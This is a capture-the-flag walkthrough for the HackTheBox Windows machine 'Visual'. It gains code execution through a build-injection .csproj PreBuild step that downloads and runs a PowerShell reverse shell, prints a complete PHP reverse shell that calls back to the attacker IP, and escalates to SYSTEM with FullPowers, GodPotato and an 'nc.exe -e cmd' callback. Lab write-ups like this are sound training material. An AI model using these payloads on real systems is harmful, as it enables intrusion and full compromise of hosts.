Visual – HackTheBox Link to heading

  • OS: Windows
  • Difficulty: Medium
  • Platform: HackTheBox

‘Visual’ Avatar


User Link to heading

Nmap scan only shows 1 port open: 80 HTTP.

❯ sudo nmap -sVC -p80 10.10.11.234 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-21 19:36 -03
Nmap scan report for 10.10.11.234
Host is up (0.16s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17
|_http-title: Visual - Revolutionizing Visual Studio Builds

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.82 seconds

Visiting this site we can see the following:

Visual 1

The site apparently builds, from source, codes for Visual Studio. The only think we can add as a user is a Git repository:

Visual 2

To check how it works, we can start a simple netcat listener on port 3000 (the default port for Gitea, just in case a firewall is preventing connection from other ports).

nc -lvnp 3000

and in the website I pass my attacker IP with some random .git file, just to test how it works:

Visual 3

where 10.10.16.6 is my attacker IP.

After some seconds after passing the url, in the netcat listener I get:

❯ nc -lvnp 3000

listening on [any] 3000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.234] 49671
GET /info/refs?service=git-upload-pack HTTP/1.1
Host: 10.10.16.6:3000
User-Agent: git/2.41.0.windows.1
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd
Pragma: no-cache
Git-Protocol: version=2

Since I don’t see testing.git anywhere in the request I might not be able to inject code, so I discard that. Also, based on Git documentation this is just how cloning a repository works.

To emulate a custom repository I will use Gitea with Docker. Assuming that we have Docker installed in our machine (I use Kali Linux so I followed these steps), first start Docker service:

❯ sudo systemctl start docker

Check if it is running:

❯ sudo systemctl status docker

● docker.service - Docker Application Container Engine
     Loaded: loaded (/usr/lib/systemd/system/docker.service; enabled; preset: enabled)
     Active: active (running) since Wed 2024-02-21 20:02:04 -03; 1min 6s ago
TriggeredBy: ● docker.socket
<SNIP>

Download the images:

❯ sudo docker pull gitea/gitea

Using default tag: latest
latest: Pulling from gitea/gitea
619be1103602: Pull complete
172dd90f8cd3: Pull complete
e351dffe3e2e: Pull complete
23115583656f: Pull complete
29191722a758: Pull complete
365242e44775: Pull complete
2b8d3024c169: Pull complete
Digest: sha256:a2095ce71c414c0c6a79192f3933e668a595f7fa7706324edd0aa25c8728f00f
Status: Downloaded newer image for gitea/gitea:latest
docker.io/gitea/gitea:latest

Check if the container has been downloaded and is detected by Docker:

❯ sudo docker images

REPOSITORY    TAG       IMAGE ID       CREATED       SIZE
gitea/gitea   latest    bf95d9a45ce4   2 weeks ago   160MB

And, finally, start the service:

❯ docker run -d -p 127.0.0.1:3000:3000 -p 10.10.16.6:3000:3000 --name gitea-container gitea/gitea:latest

so I start the service in both services: localhost and on my public tun0 network IPv4 address (the one from HackTheBox), so the target machine can have connectivity to my machine.

If this worked, now we should have Gitea running on our localhost on port 3000:

❯ lsof -i:3000

COMMAND     PID    USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
firefox-e 25194 gunzf0x   82u  IPv4  98328      0t0  TCP localhost:44248->localhost:3000 (ESTABLISHED)

We can use our web browser to visit http://localhost:3000 or http://10.10.16.6:3000 (my attacker IPv4 address) and see that Gitea is running. I recommend you to leave everything by default. Note: If you use a different SQL database than the one that comes by default (SQLite) the service might present some problems.

We can now register with a username and log in with that username in Gitea service

If everything worked we should have a site like this:

Visual 4

I will recreate an already existing repository. I clone this repository on my machine (which is a simple C# random project I have chosen from Github):

❯ git clone https://github.com/rushakh/copy-pasting-machine.git

Cloning into 'copy-pasting-machine'...
remote: Enumerating objects: 22, done.
remote: Counting objects: 100% (22/22), done.
remote: Compressing objects: 100% (21/21), done.
remote: Total 22 (delta 2), reused 18 (delta 1), pack-reused 0
Receiving objects: 100% (22/22), 17.39 KiB | 301.00 KiB/s, done.
Resolving deltas: 100% (2/2), done.

On Gitea, create a new repository clicking on the + symbol at the top right, and then on New Repository:

Visual 5

and we should have something like this:

Visual 6

Note
Here I decided to rename the repository from testing to copy-pasting-machine to avoid conflict between the cloned repository and my Gitea repository since we will need to “build” the files as we will see later.

I create a directory called gitea-repo, enter in that directory and follow the instructions from Creating a new repository on the command line to add files

Then copy everything inside this cloned repo (the original copy-pasting-machines repository), except the .git folder, and past it to gitea-repo directory (the directory containing copy-pasting-machine.git repo files)

❯ cd gitea_repo/

ls -la
total 20
drwxr-xr-x 4 gunzf0x gunzf0x 4096 Feb 21 22:03  .
drwxr-xr-x 4 gunzf0x gunzf0x 4096 Feb 21 22:02  ..
-rw-r--r-- 1 gunzf0x gunzf0x 1124 Feb 21 22:03  CopyPasteMachine.sln
drwxr-xr-x 8 gunzf0x gunzf0x 4096 Feb 21 22:04  .git
-rw-r--r-- 1 gunzf0x gunzf0x    0 Feb 21 22:01  README.md
drwxr-xr-x 3 gunzf0x gunzf0x 4096 Feb 21 22:03 'trying media'

❯ git add .

❯ cat .git/config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://localhost:3000/gunzf0x/copy-pasting-machine.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main

And commit and push all the new files:

❯ git commit -m "Cloning repo"

❯ git push origin main

Now our repository in Gitea should look like this:

Visual 7

Now, back to the HTTP website in Submit Your Repo I past the link: http://10.10.16.6:3000/gunzf0x/copy-pasting-machine.git

After some time, the site builds my files:

Visual 8 - building executable

I note that when the repository does not have a .sln file it fails.

Also if we check how files are built in MSBuild Projects we can see that it is possible to inject commands. A simple malicious .csproj file would look like:

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net7.0</TargetFramework>
    <RootNamespace>project_name</RootNamespace>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <Target Name="PreBuild" BeforeTargets="PreBuildEvent">
    <Exec Command="powershell IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.16:80/rev.ps1')" />
  </Target>

</Project>

where 10.10.16.6 is my attacker IP and rev.ps1 a Powershell script.

In my case I will use Invoke-PowerShellTcp.ps1 from Nishang, that can be downloaded here

I edit Invoke-PowerShellTcp.ps1, which I will rename as rev.ps1, in a text editor and add at the end of the file the following:

        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
        Write-Error $_
    }
}

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.6 -Port 443

so the server will execute a reverse shell instantly when the request is made by the .csproj file.

I create a backup file for the original .csproj file, just in case this fails. This file is located, in the repository I cloned, within the directory trying media:

❯ cd trying\ media

❯ cp CopyPasteMachine.csproj CopyPasteMachine_backup.csproj

and then modify CopyPasteMachine.csproj with the malicious .csproj script above. I submit the changes to the Gitea repo.

I start a Python HTTP server on port 80, in the same directory where rev.ps1 is located, and in another panel/terminal I start a nc listener on port 443. In the webpage I finally submit the repo Submit Your Repo with the link http://10.10.16.6:3000/gunzf0x/copy-pasting-machine.git, but with the malicious csproj file and obtain a reverse shell:

Visual 9 - reverse shell

We can get the user flag on user’s desktop.

NT Authority\System - Administrator Link to heading

We are logged in as user visual\enox. Looking for my privileges:

PS C:\Windows\Temp\8f8177df5fbf8e4d3d0385b74ece7f\trying media> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeCreateGlobalPrivilege       Create global objects          Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\Windows\Temp\8f8177df5fbf8e4d3d0385b74ece7f\trying media>

I cannot see something interesting

I uploaded Sherlock.ps1 (which can be downloaded from its Github repository), but did not detect any exploit.

Now, usually webservers have the SeImpersonatePrivilege privilege (or we can try to enable it). However, at the moment we are the user visual\enox. For this reason I upload the following PHP reverse shell and attempt to get another connection, but this time from the webserver user itself. So we do this to change/pivot to another user. I will call this file revshell.php:

<?php
// Copyright (c) 2020 Ivan Šincek
// v2.6
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
    private $addr  = null;
    private $port  = null;
    private $os    = null;
    private $shell = null;
    private $descriptorspec = array(
        0 => array('pipe', 'r'), // shell can read from STDIN
        1 => array('pipe', 'w'), // shell can write to STDOUT
        2 => array('pipe', 'w')  // shell can write to STDERR
    );
    private $buffer = 1024;  // read/write buffer size
    private $clen   = 0;     // command length
    private $error  = false; // stream read/write error
    private $sdump  = true;  // script's dump
    public function __construct($addr, $port) {
        $this->addr = $addr;
        $this->port = $port;
    }
    private function detect() {
        $detected = true;
        $os = PHP_OS;
        if (stripos($os, 'LINUX') !== false || stripos($os, 'DARWIN') !== false) {
            $this->os    = 'LINUX';
            $this->shell = '/bin/sh';
        } else if (stripos($os, 'WINDOWS') !== false || stripos($os, 'WINNT') !== false || stripos($os, 'WIN32') !== false) {
            $this->os    = 'WINDOWS';
            $this->shell = 'cmd.exe';
        } else {
            $detected = false;
            echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
        }
        return $detected;
    }
    private function daemonize() {
        $exit = false;
        if (!function_exists('pcntl_fork')) {
            echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
        } else if (($pid = @pcntl_fork()) < 0) {
            echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
        } else if ($pid > 0) {
            $exit = true;
            echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
            // once daemonized, you will actually no longer see the script's dump
        } else if (posix_setsid() < 0) {
            echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
        } else {
            echo "DAEMONIZE: Completed successfully!\n";
        }
        return $exit;
    }
    private function settings() {
        @error_reporting(0);
        @set_time_limit(0); // do not impose the script execution time limit
        @umask(0); // set the file/directory permissions - 666 for files and 777 for directories
    }
    private function dump($data) {
        if ($this->sdump) {
            $data = str_replace('<', '<', $data);
            $data = str_replace('>', '>', $data);
            echo $data;
        }
    }
    private function read($stream, $name, $buffer) {
        if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
            $this->error = true;                            // set the global error flag
            echo "STRM_ERROR: Cannot read from {$name}, script will now exit...\n";
        }
        return $data;
    }
    private function write($stream, $name, $data) {
        if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
            $this->error = true;                            // set the global error flag
            echo "STRM_ERROR: Cannot write to {$name}, script will now exit...\n";
        }
        return $bytes;
    }
    // read/write method for non-blocking streams
    private function rw($input, $output, $iname, $oname) {
        while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
            if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
            $this->dump($data); // script's dump
        }
    }
    // read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
    // we must read the exact byte length from a stream and not a single byte more
    private function brw($input, $output, $iname, $oname) {
        $size = fstat($input)['size'];
        if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
            // for some reason Windows OS pipes STDIN into STDOUT
            // we do not like that
            // so we need to discard the data from the stream
            while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
                $this->clen -= $bytes;
                $size -= $bytes;
            }
        }
        while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
            $size -= $bytes;
            $this->dump($data); // script's dump
        }
    }
    public function run() {
        if ($this->detect() && !$this->daemonize()) {
            $this->settings();

            // ----- SOCKET BEGIN -----
            $socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
            if (!$socket) {
                echo "SOC_ERROR: {$errno}: {$errstr}\n";
            } else {
                stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS

                // ----- SHELL BEGIN -----
                $process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
                if (!$process) {
                    echo "PROC_ERROR: Cannot start the shell\n";
                } else {
                    foreach ($pipes as $pipe) {
                        stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
                    }

                    // ----- WORK BEGIN -----
                    $status = proc_get_status($process);
                    @fwrite($socket, "SOCKET: Shell has connected! PID: {$status['pid']}\n");
                    do {
                        $status = proc_get_status($process);
                        if (feof($socket)) { // check for end-of-file on SOCKET
                            echo "SOC_ERROR: Shell connection has been terminated\n"; break;
                        } else if (feof($pipes[1]) || !$status['running']) {                 // check for end-of-file on STDOUT or if process is still running
                            echo "PROC_ERROR: Shell process has been terminated\n";   break; // feof() does not work with blocking streams
                        }                                                                    // use proc_get_status() instead
                        $streams = array(
                            'read'   => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
                            'write'  => null,
                            'except' => null
                        );
                        $num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
                        if ($num_changed_streams === false) {
                            echo "STRM_ERROR: stream_select() failed\n"; break;
                        } else if ($num_changed_streams > 0) {
                            if ($this->os === 'LINUX') {
                                if (in_array($socket  , $streams['read'])) { $this->rw($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            } else if ($this->os === 'WINDOWS') {
                                // order is important
                                if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket  , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
                                if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket  , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
                                if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket  , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
                            }
                        }
                    } while (!$this->error);
                    // ------ WORK END ------

                    foreach ($pipes as $pipe) {
                        fclose($pipe);
                    }
                    proc_close($process);
                }
                // ------ SHELL END ------

                fclose($socket);
            }
            // ------ SOCKET END ------

        }
    }
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('10.10.16.6', 4000);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>

where, again, 10.10.16.6 is my attacker IP and 4000 is the port I will start listening with nc.

I start a Python HTTP server on port 80 in the same directory where revshell.php is located.

I start a nc listener on port 4000. Then, on the reverse shell obtained with Nishang, I run:

PS C:\Windows\Temp\8f8177df5fbf8e4d3d0385b74ece7f\trying media> Invoke-WebRequest -Uri http://10.10.16.6/revshell.php -OutFile C:\xampp\htdocs\uploads\revshell.php

and write the file where the HTTP server usually locates its files in Windows, at C:\xampp\htdocs.

I can trigger this reverse shell with:

❯ curl http://10.10.11.234/uploads/revshell.php

and I get a reverse shell:

❯ rlwrap nc -lvnp 4000

listening on [any] 4000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.234] 49691
SOCKET: Shell has connected! PID: 4352
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\uploads>whoami
nt authority\local service

C:\xampp\htdocs\uploads>

but, as can we see here, now we are the user nt authority\local service.

From the new shell, I download FullPowers from its oficial repository using certutil (after serving, again, a Python HTTP server on port 80):

C:\Windows\Temp>cd C:\Users\Public\Downloads

C:\Users\Public\Downloads>certutil.exe -urlcache -split -f http://10.10.16.6/FullPowers.exe .\FullPowers.exe
****  Online  ****
  0000  ...
  9000
CertUtil: -URLCache command completed successfully.

and we pass from this:

C:\Users\Public\Downloads>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeCreateGlobalPrivilege       Create global objects          Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

to this:

C:\Users\Public\Downloads>.\FullPowers.exe
[+] Started dummy thread with id 1888
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

so we have enabled the SeImpersonatePrivilege, which can be abused to escalate privileges.

Note that we are in C:\Windows\system32 folder after we use FullPowers, so I move again to a directory where we actually can write files like C:\Users\Public\Desktop\Downloads.

Finally, I pass netcat binary for Windows, and JuicyPotato using certutil to abuse SeImpersonatePrivilege. But they did not work (so do not lose your time).

Next, I will try to use GodPotato. In its Github repository. we have different binaries for different .NET versions. To check which version we have to download, I run in the victim machine:

C:\Users\Public\Downloads>reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\CDF
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4.0

so we need to download NET4 version.

Once downloaded I pass it to the target machine and check if this works:

C:\Users\Public\Downloads>certutil.exe -urlcache -split -f http://10.10.16.6/godpotato-net4.exe .\godpotato.exe
****  Online  ****
  0000  ...
  e000
CertUtil: -URLCache command completed successfully.

C:\Users\Public\Downloads>.\godpotato -cmd "cmd /c whoami"
[*] CombaseModule: 0x140715858722816
[*] DispatchTable: 0x140715861028976
[*] UseProtseqFunction: 0x140715860405152
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\79e3465c-95bf-41d8-9539-53f788c911a2\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00009802-10ac-ffff-d1e0-c475845222f4
[*] DCOM obj OXID: 0xf22c1c8cc040bd7
[*] DCOM obj OID: 0xa93e722cc15a4aa
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 884 Token:0x644  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 1692
nt authority\system

and it does, so I throw a reverse using the netcat binary I have already transferred to the machine when I tried to use JuicyPotato (but failed).

I start a netcat listener on port 443 and run in the victim machine:

C:\Users\Public\Downloads>.\godpotato -cmd "cmd /c C:\Users\Public\Downloads\nc.exe 10.10.16.6 443 -e cmd"

and I get a reverse shell:

❯ rlwrap nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.234] 49726
Microsoft Windows [Version 10.0.17763.4851]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Public\Downloads>whoami
whoami
nt authority\system

C:\Users\Public\Downloads>

We can get the flag at Administrator’s desktop.

~Happy Hacking